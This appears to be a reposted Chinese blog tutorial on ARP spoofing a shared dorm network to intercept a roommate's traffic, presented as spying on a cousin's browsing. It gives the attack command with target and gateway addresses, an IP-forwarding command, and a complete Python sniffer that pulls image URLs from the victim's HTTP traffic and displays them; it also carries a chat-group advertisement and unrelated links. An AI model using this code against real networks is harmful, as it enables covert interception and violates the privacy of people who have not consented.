表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸
序 这篇文章研究了arp协议,并且利用python编程实现一次简单的局域网arp攻击,抓取室友网上浏览的图片(滑稽脸) 二、arp协议研究 在进行arp攻击之前,先来研究一下arp协议 进群:548377875 ? 即可获取数十套PDF哦! 1.arp协议数据包
局域网内所有机器接收此arp请求,如果发现请求的ip为自己的ip便会向请求机器发送arp响应,将自己的MAC地址带入arp响应包单播发送给请求的机器,arp响应包主要字段如下
同样的网关在不断接受到此arp响应时也会不断的更新自己的arp缓存去建立错误的关系,我们的kali攻击机便可以双向的截获流量 4.用python实现arp攻击 所需的python第三方库 scapy库:scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造,嗅探或发送网络数据包,这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库,kali默认自带 pip install scapy 模拟攻击环境,一个真实的局域网,就是我们寝室
5.编写python代码: 6.脚本使用到的scapy库中的几个函数 get_if_hwaddr("本地网卡名称(eth0/wlan0)") 根据所选择的本地网卡获取相应的本地网卡的MAC地址 所以我们这样输入可以双向的欺骗网关和目标机器完中间人攻击 python arpattack.py -i 网卡 -t 要攻击的目标的ip地址 -g 网关ip 输入 python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1 选择无线网卡wlan0的MAC地址去欺骗室友的电脑和网关路由器,如果我和室友都插了网线,就要选择eth0 运行脚本便会不断的向室友的电脑和网关发送arp响应包进行双向欺骗,效果如下 这时我们截获了室友电脑和网关之间的流量,使其不能相互通信,完成了arp断网 echo "1">/proc/sys/net/ipv4/ip_forward 开启流量转发,这时室友和网关正常通讯,但是流量会经过我们的网卡 接下来用python编写代码查看室友电脑浏览的网页图片,其实不难,因为浏览图片一般都是向服务器发送一次请求图片的http请求,所以只需从经过我们网卡的流量中过滤tcp80端口的数据包(http协议),将数据包的头部层层去掉,最后便能得到应用层的http数据包,在利用正则表达式将http://*.jpg筛选出来即可知道室友请求了哪些图片,python的pcap库和dpkt库可以使我们很容易的得到电脑网卡流量中的http应用层数据包 python代码如下stealimg.py import pcap import dpkt import re import requests from PIL import Image from io import BytesIO from optparse import OptionParser import sys urllist=[] def main(): usage="Usage: [-i interface]" parser=OptionParser(usage) parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)') (options,args)=parser.parse_args() if options.interface: interface=options.interface pc=pcap.pcap(interface) pc.setfilter('tcp port 80') for ptime,pdata in pc: getimg(pdata) else: parser.print_help() sys.exit(0) def getimg(pdata): global urllist p=dpkt.ethernet.Ethernet(pdata) if p.data.__class__.__name__=='IP': if p.data.data.__class__.__name__=='TCP': if p.data.data.dport==80: pa=re.compile(r'GET (.*?.jpg)')#|.*?.png|.*?.gif img=re.findall(pa,p.data.data.data) if img!=[]: lines=p.data.data.data.split(' ') for line in lines: if 'Host:' in line: url='http://'+line.split(':')[-1].strip()+img[-1] if url not in urllist: urllist.append(url) if 'Referer:' in p.data.data.data: for line in lines: if 'Referer:' in line: referer=line.split(':')[-1].strip() print url r=requests.get(url,headers={'Referer':referer}) img=Image.open(BytesIO(r.content)) img.show() else: r=requests.get(url) img=Image.open(BytesIO(r.content)) img.show() else: pass if __name__=='__main__': main() (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
- python – 无循环的3×3矩阵转换(RGB颜色转换)
- 从零学python系列之教你如何根据图片生成字符画
- 将Blobstore迁移到GCS:Google App Engine Python
- python – 在homebrew中更新pip和setuptools不起作用
- python操作oracle的完整教程分享
- SyntaxError:name’cows’在Python3.6中的全局声明之前被赋
- Python http请求方法库总结
- 全面解析Python的While循环语句的使用方法
- 忘记关烤箱了是什么鬼?用Python和OpenCV 来帮你关烤箱!
- 如何通过python API将json / pickle文件转储并读入Google D